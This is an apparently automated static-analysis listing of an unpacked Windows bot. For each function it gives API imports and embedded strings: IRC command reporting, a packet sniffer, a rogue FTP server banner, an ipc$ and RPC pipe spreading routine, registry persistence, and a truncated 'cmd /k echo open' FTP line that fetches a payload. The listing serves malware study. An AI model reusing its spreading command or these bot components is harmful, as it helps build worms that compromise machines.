"Odbc32.dll failed. <%d>"
|
sub_4018CB(b2d9):
WS2_32.WSAStartup
WS2_32.WSASocketA
WS2_32.setsockopt
WS2_32.ntohs
WS2_32.ntohl
WS2_32.sendto
WS2_32.WSAGetLastError
WS2_32.closesocket
WS2_32.WSACleanup
|
sub_40A9A6(b2db):
KERNEL32.GetDriveTypeA
"Cdrom"
"Network"
"Disk"
"Invalid"
"Unknown"
|
sub_402F48(b894):
WS2_32.socket
WS2_32.ntohs
WS2_32.inet_addr
WS2_32.connect
WS2_32.closesocket
KERNEL32.Sleep
"Tilehome.com"
"cmd /k echo open %s %d > o&echo user 1 "...
"SVWf"
"WKSSVC_Eng"
"%s// %s."
|
sub_40ADCF(bb03):
WS2_32.socket
WS2_32.ntohs
WS2_32.connect
WS2_32.send
WS2_32.closesocket
WS2_32.recv
KERNEL32.CreateFileA
KERNEL32.CloseHandle
WS2_32.inet_addr
"Windows Server 2003 *.*"
"Windows 2000 LAN Manager*"
"Windows 5.0"
"Windows 5.1"
"Samba *"
"\\\\%s\\"
"pipe\\epmapper"
|
sub_41234D(bbe1):
ADVAPI32.OpenProcessToken
ADVAPI32.LookupPrivilegeValueA
ADVAPI32.AdjustTokenPrivileges
KERNEL32.CloseHandle
|
sub_40C929(bc9b):
WS2_32.ntohs
WS2_32.socket
WS2_32.connect
WS2_32.closesocket
KERNEL32.Sleep
".e.(1.0b) ( enz.m.d.l ) .. Connected"...
|
sub_409DBE(be81):
WS2_32.socket
WS2_32.ntohs
WS2_32.bind
WS2_32.getsockname
WS2_32.listen
KERNEL32.CreateFileA
WS2_32.inet_addr
WS2_32.ntohl
WS2_32.select
WS2_32.accept
WS2_32.closesocket
WS2_32.send
WS2_32.recv
KERNEL32.CloseHandle
WS2_32.inet_ntoa
|
sub_40CA91(c24e):
WS2_32.send
WS2_32.closesocket
KERNEL32.Sleep
WS2_32.recv
"PASS %s\r\n"
|
sub_405815(c265):
KERNEL32.CreateFileA
WS2_32.send
WS2_32.WSAGetLastError
KERNEL32.CloseHandle
|
sub_40517E(c395):
WS2_32.send
KERNEL32.Sleep
"\n"
"PRIVMSG %s :Searching for: %s\r\n"
"\r\n\r\nIndex of %s</TIT"...
"<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
"<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
".."
"."
"PM"
"AM"
"%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
"<%s>"
"PRIVMSG %s :%-31s %-21s\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s/"
"\"><CODE>%.29s>/</CODE></A>"
"\"><CODE>%s/</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"<%s>"
"%-31s %-21s\r\n"
"PRIVMSG %s :%-31s %-21s (%s bytes)\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s"
"\"><CODE>%.30s></CODE></A>"
"\"><CODE>%s</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"%-31s %-21s (%i bytes)\r\n"
"PRIVMSG %s :Found %s Files and %s Direc"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"Found: %i Files and %i Directories\r\n"
</font></pre></td></tr><tr id="sub_41AF6F"><td><pre><a name="sub_41AF6F"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_41AF6F"><font size=+2>sub_41AF6F</a>(c890)</font>:<font color=darkgreen>
KERNEL32.GetFileType
KERNEL32.GetStdHandle
KERNEL32.SetHandleCount</font>
<font color=brown></font></pre></td></tr><tr id="sub_409A42"><td><pre><a name="sub_409A42"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_409A42"><font size=+2>sub_409A42</a>(c8ef)</font>:<font color=darkgreen>
ADVAPI32.RegCreateKeyExA
ADVAPI32.RegSetValueExA
ADVAPI32.RegDeleteValueA
ADVAPI32.RegCloseKey</font>
<font color=brown>
"Windows Tilehome"
</font></pre></td></tr><tr id="sub_40ACAF"><td><pre><a name="sub_40ACAF"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_40ACAF"><font size=+2>sub_40ACAF</a>(cb3a)</font>:<font color=darkgreen>
WS2_32.closesocket
WS2_32.WSACleanup
KERNEL32.Sleep
KERNEL32.GetSystemDirectoryA
KERNEL32.GetModuleFileNameA
KERNEL32.CreateProcessA
KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_416FD8"><td><pre><a name="sub_416FD8"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_416FD8"><font size=+2>sub_416FD8</a>(cbe8)</font>:<font color=darkgreen>
NTDLL.RtlAllocateHeap
KERNEL32.VirtualAlloc
NTDLL.RtlFreeHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_40AB52"><td><pre><a name="sub_40AB52"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_40AB52"><font size=+2>sub_40AB52</a>(ccea)</font>:<font color=brown>
"failed"
</font></pre></td></tr><tr id="sub_40211B"><td><pre><a name="sub_40211B"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_40211B"><font size=+2>sub_40211B</a>(cd82)</font>:<font color=darkgreen>
WS2_32.ntohs
WS2_32.inet_addr
WS2_32.socket
WS2_32.WSAGetLastError
WS2_32.bind
WS2_32.closesocket
WS2_32.WSAIoctl
WS2_32.recv
WS2_32.inet_ntoa</font>
<font color=brown>
":.login"
"[PSNIFF]"
</font></pre></td></tr><tr id="sub_4073B6"><td><pre><a name="sub_4073B6"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_4073B6"><font size=+2>sub_4073B6</a>(cf52)</font>:<font color=darkgreen>
KERNEL32.GetModuleHandleA
KERNEL32.Sleep
WININET.InternetOpenA</font>
<font color=brown>
"kernel32.dll"
"SetErrorMode"
"CreateToolhelp32Snapshot"
"Process32First"
"GetDiskFreeSpaceExA"
"GetLogicalDriveStringsA"
"SearchPathA"
"QueryPerformanceCounter"
"QueryPerformanceFrequency"
"RegisterServiceProcess"
"user32.dll"
"SendMessageA"
"FindWindowA"
"IsWindow"
"GetClipboardData"
"CloseClipboard"
"advapi32.dll"
"RegCreateKeyExA"
"RegSetValueExA"
"RegQueryValueExA"
"RegDeleteValueA"
"RegCloseKey"
"OpenProcessToken"
"LookupPrivilegeValueA"
"AdjustTokenPrivileges"
"OpenSCManagerA"
"OpenServiceA"
"ControlService"
"CloseServiceHandle"
"EnumServicesStatusA"
"IsValidSecurityDescriptor"
"GetUserNameA"
"gdi32.dll"
"CreateDCA"
"CreateDIBSection"
"CreateCompatibleDC"
"GetDIBColorTable"
"SelectObject"
"BitBlt"
"DeleteDC"
"DeleteObject"
"ws2_32.dll"
"WSAStartup"
"WSASocketA"
"WSAAsyncSelect"
"__WSAFDIsSet"
"WSAIoctl"
"WSAGetLastError"
"WSACleanup"
"socket"
"ioctlsocket"
"connect"
"inet_ntoa"
"inet_addr"
"htons"
"htonl"
"ntohs"
"ntohl"
"send"
"sendto"
"recv"
"recvfrom"
"bind"
"select"
"listen"
"accept"
"setsockopt"
"getsockname"
"gethostname"
"getpeername"
"closesocket"
"wininet.dll"
"InternetGetConnectedState"
"InternetGetConnectedStateEx"
"HttpOpenRequestA"
"HttpSendRequestA"
"InternetConnectA"
"InternetOpenUrlA"
"InternetCrackUrlA"
"InternetReadFile"
"InternetCloseHandle"
"Mozilla/4.0 (compatible)"
"icmp.dll"
"IcmpCreateFile"
"IcmpCloseHandle"
"IcmpSendEcho"
"netapi32.dll"
"NetShareAdd"
"NetShareDel"
"NetShareEnum"
"NetScheduleJobAdd"
"NetApiBufferFree"
"NetRemoteTOD"
"NetUserAdd"
"NetUserDel"
"NetUserEnum"
"NetUserGetInfo"
"NetMessageBufferSend"
"dnsapi.dll"
"DnsFlushResolverCache"
"DnsFlushResolverCacheEntry_A"
"iphlpapi.dll"
"DeleteIpNetEntry"
"mpr.dll"
"WNetAddConnection2A"
"WNetAddConnection2W"
"WNetCancelConnection2A"
"WNetCancelConnection2W"
"shell32.dll"
"SHChangeNotify"
"odbc32.dll"
"SQLDriverConnect"
"SQLAllocHandle"
</font></pre></td></tr><tr id="sub_40B929"><td><pre><a name="sub_40B929"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_40B929"><font size=+2>sub_40B929</a>(d2a0)</font>:<font color=darkgreen>
ADVAPI32.IsValidSecurityDescriptor</font>
<font color=brown>
"Share name: Resource: "...
"No"
"%-14S %-24S %-6u %-4s"
</font></pre></td></tr><tr id="sub_409BFD"><td><pre><a name="sub_409BFD"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_409BFD"><font size=+2>sub_409BFD</a>(d3f9)</font>:<font color=darkgreen>
WS2_32.closesocket
KERNEL32.Sleep
WS2_32.recv</font>
<font color=brown>
"\n"
</font></pre></td></tr><tr id="sub_4157BF"><td><pre><a name="sub_4157BF"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_4157BF"><font size=+2>sub_4157BF</a>(d50c)</font>:<font color=darkgreen>
NTDLL.RtlAllocateHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_408B03"><td><pre><a name="sub_408B03"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_408B03"><font size=+2>sub_408B03</a>(d876)</font>:<font color=darkgreen>
IPHLPAPI.IcmpCreateFile
WS2_32.inet_addr
WS2_32.gethostbyname
IPHLPAPI.IcmpSendEcho
IPHLPAPI.IcmpCloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_41BD91"><td><pre><a name="sub_41BD91"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_41BD91"><font size=+2>sub_41BD91</a>(d8fa)</font>:<font color=darkgreen>
KERNEL32.SetUnhandledExceptionFilter</font>
<font color=brown></font></pre></td></tr><tr id="sub_40AC2A"><td><pre><a name="sub_40AC2A"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_40AC2A"><font size=+2>sub_40AC2A</a>(dc5b)</font>:<font color=darkgreen>
KERNEL32.GetLogicalDriveStringsA</font>
<font color=brown></font></pre></td></tr><tr id="sub_41AE3D"><td><pre><a name="sub_41AE3D"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_41AE3D"><font size=+2>sub_41AE3D</a>(dcdc)</font>:<font color=darkgreen>
KERNEL32.GetEnvironmentStringsW
KERNEL32.WideCharToMultiByte
KERNEL32.FreeEnvironmentStringsW</font>
<font color=brown></font></pre></td></tr><tr id="sub_408A5D"><td><pre><a name="sub_408A5D"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_408A5D"><font size=+2>sub_408A5D</a>(e076)</font>:<font color=darkgreen>
WS2_32.getsockname</font>
<font color=brown>
"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_4069E1"><td><pre><a name="sub_4069E1"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_4069E1"><font size=+2>sub_4069E1</a>(e1d6)</font>:<font color=darkgreen>
WS2_32.ntohs
WS2_32.socket
WS2_32.WSAAsyncSelect
WS2_32.bind
WS2_32.listen
WS2_32.accept
WS2_32.inet_ntoa
KERNEL32.Sleep
WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_405FE2"><td><pre><a name="sub_405FE2"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_405FE2"><font size=+2>sub_405FE2</a>(e1e4)</font>:<font color=darkgreen>
WS2_32.inet_ntoa</font>
<font color=brown></font></pre></td></tr><tr id="sub_4126FC"><td><pre><a name="sub_4126FC"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_4126FC"><font size=+2>sub_4126FC</a>(e5de)</font>:<font color=darkgreen>
KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_41693B"><td><pre><a name="sub_41693B"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_41693B"><font size=+2>sub_41693B</a>(e71f)</font>:<font color=darkgreen>
NTDLL.RtlAllocateHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_4041D7"><td><pre><a name="sub_4041D7"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_4041D7"><font size=+2>sub_4041D7</a>(e848)</font>:<font color=darkgreen>
WS2_32.WSAStartup
WS2_32.socket
WS2_32.setsockopt
WS2_32.ioctlsocket
WS2_32.ntohs
WS2_32.bind
WS2_32.listen
WS2_32.select
WS2_32.__WSAFDIsSet
WS2_32.accept
WS2_32.send
WS2_32.recv
WS2_32.closesocket</font>
<font color=brown>
"220 NzmxFtpd 0wns j0\n"
"%s %s"
"USER"
"331 Password required\n"
"PASS"
"230 User logged in.\n"
"SYST"
"215 NzmxFtpd\n"
"REST"
"350 Restarting.\n"
"257 \"/\" is current directory.\n"
"TYPE"
"A"
"200 Type set to A.\n"
"TYPE"
"I"
"200 Type set to I.\n"
"PASV"
"425 Passive not supported on this serve"...
"LIST"
"226 Transfer complete\n"
"PORT"
"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
"%x%x\n"
"%s.%s.%s.%s"
"200 PORT command successful.\n"
"RETR"
"150 Opening BINARY mode data connection"...
"226 Transfer complete.\n"
"425 Can't open data connection.\n"
"QUIT"
"221 Goodbye happy r00ting.\n"
</font></pre></td></tr><tr id="sub_40656E"><td><pre><a name="sub_40656E"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_40656E"><font size=+2>sub_40656E</a>(e954)</font>:<font color=darkgreen>
KERNEL32.GetTickCount
WS2_32.inet_ntoa
KERNEL32.Sleep</font>
<font color=brown>
"w1"
</font></pre></td></tr><tr id="sub_404857"><td><pre><a name="sub_404857"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_404857"><font size=+2>sub_404857</a>(eaa6)</font>:<font color=darkgreen>
KERNEL32.GetModuleFileNameA
WS2_32.send
KERNEL32.Sleep
WS2_32.closesocket
WS2_32.WSACleanup</font>
<font color=brown>
"rb"
</font></pre></td></tr><tr id="sub_40B5F7"><td><pre><a name="sub_40B5F7"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_40B5F7"><font size=+2>sub_40B5F7</a>(eae1)</font>:<font color=darkgreen>
ADVAPI32.OpenSCManagerA
ADVAPI32.EnumServicesStatusA
ADVAPI32.CloseServiceHandle</font>
<font color=brown>
"The following Windows services are regi"...
" Unknown"
" Paused"
" Pausing"
" Continuing"
" Running"
" Stoping"
" Starting"
" Stopped"
"%s: %s (%s)"
</font></pre></td></tr><tr id="sub_409833"><td><pre><a name="sub_409833"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_409833"><font size=+2>sub_409833</a>(edda)</font>:<font color=brown>
"[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
</font></pre></td></tr><tr id="sub_408970"><td><pre><a name="sub_408970"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_408970"><font size=+2>sub_408970</a>(f10a)</font>:<font color=darkgreen>
DNSAPI.DnsFlushResolverCache</font>
<font color=brown></font></pre></td></tr><tr id="sub_402749"><td><pre><a name="sub_402749"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_402749"><font size=+2>sub_402749</a>(f1cc)</font>:<font color=brown>
"BBBB"
"CCCC"
</font></pre></td></tr><tr id="sub_406FF2"><td><pre><a name="sub_406FF2"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_406FF2"><font size=+2>sub_406FF2</a>(f519)</font>:<font color=darkgreen>
WS2_32.select
WS2_32.closesocket
WS2_32.recv
WS2_32.send
WS2_32.socket
WS2_32.WSAGetLastError
WS2_32.connect</font>
<font color=brown></font></pre></td></tr><tr id="sub_781A9E"><td><pre><a name="sub_781A9E"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_781A9E"><font size=+2>sub_781A9E</a>(fbf5)</font>:<font color=darkgreen>
KERNEL32.ExitProcess</font>
<font color=brown></font></pre></td></tr><tr id="sub_41B235"><td><pre><a name="sub_41B235"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_41B235"><font size=+2>sub_41B235</a>(fc50)</font>:<font color=darkgreen>
KERNEL32.GetModuleFileNameA
KERNEL32.GetStdHandle
KERNEL32.WriteFile</font>
<font color=brown>
"<program name unknown>"
"..."
"Runtime Error!\n\nProgram: "
"\n\n"
"Microsoft Visual C++ Runtime Library"
</font></pre></td></tr><tr id="sub_41354C"><td><pre><a name="sub_41354C"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_41354C"><font size=+2>sub_41354C</a>(fc7a)</font>:<font color=brown>
"%s: %s stopped. (%d thread(s) stopped.)"...
"%s: No %s thread found."
</font></pre></td></tr><tr id="sub_413F49"><td><pre><a name="sub_413F49"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_413F49"><font size=+2>sub_413F49</a>(fd6e)</font>:<font color=darkgreen>
NTDLL.RtlAllocateHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_405F18"><td><pre><a name="sub_405F18"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_405F18"><font size=+2>sub_405F18</a>(fe1d)</font>:<font color=brown>
" %s: %d,"
" Total: %d in %s."
</font></pre></td></tr><tr id="sub_41DA84"><td><pre><a name="sub_41DA84"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_41DA84"><font size=+2>sub_41DA84</a>(fe6c)</font>:<font color=darkgreen>
KERNEL32.WideCharToMultiByte</font>
<font color=brown></font></pre></td></tr><tr id="sub_403C2B"><td><pre><a name="sub_403C2B"></a><a href="5ae68e7df89472933268747092e17f76_unpacked.asm.html#sub_403C2B"><font size=+2>sub_403C2B</a>(ff90)</font>:<font color=darkgreen>
KERNEL32.CreateFileA
KERNEL32.WriteFile
KERNEL32.CloseHandle</font>
<font color=brown>
"Tilehome.com"
"f\a"
"\\\\%s"
"."
"\\\\%s\\ipc$"
"\\\\%s\\pipe\\wkssvc"
</font></pre></td></tr></table><script>
document.getElementById(window.location.href.split('#')[1]).setAttribute("style", "background-color:#ddddff");
</script>
</html> |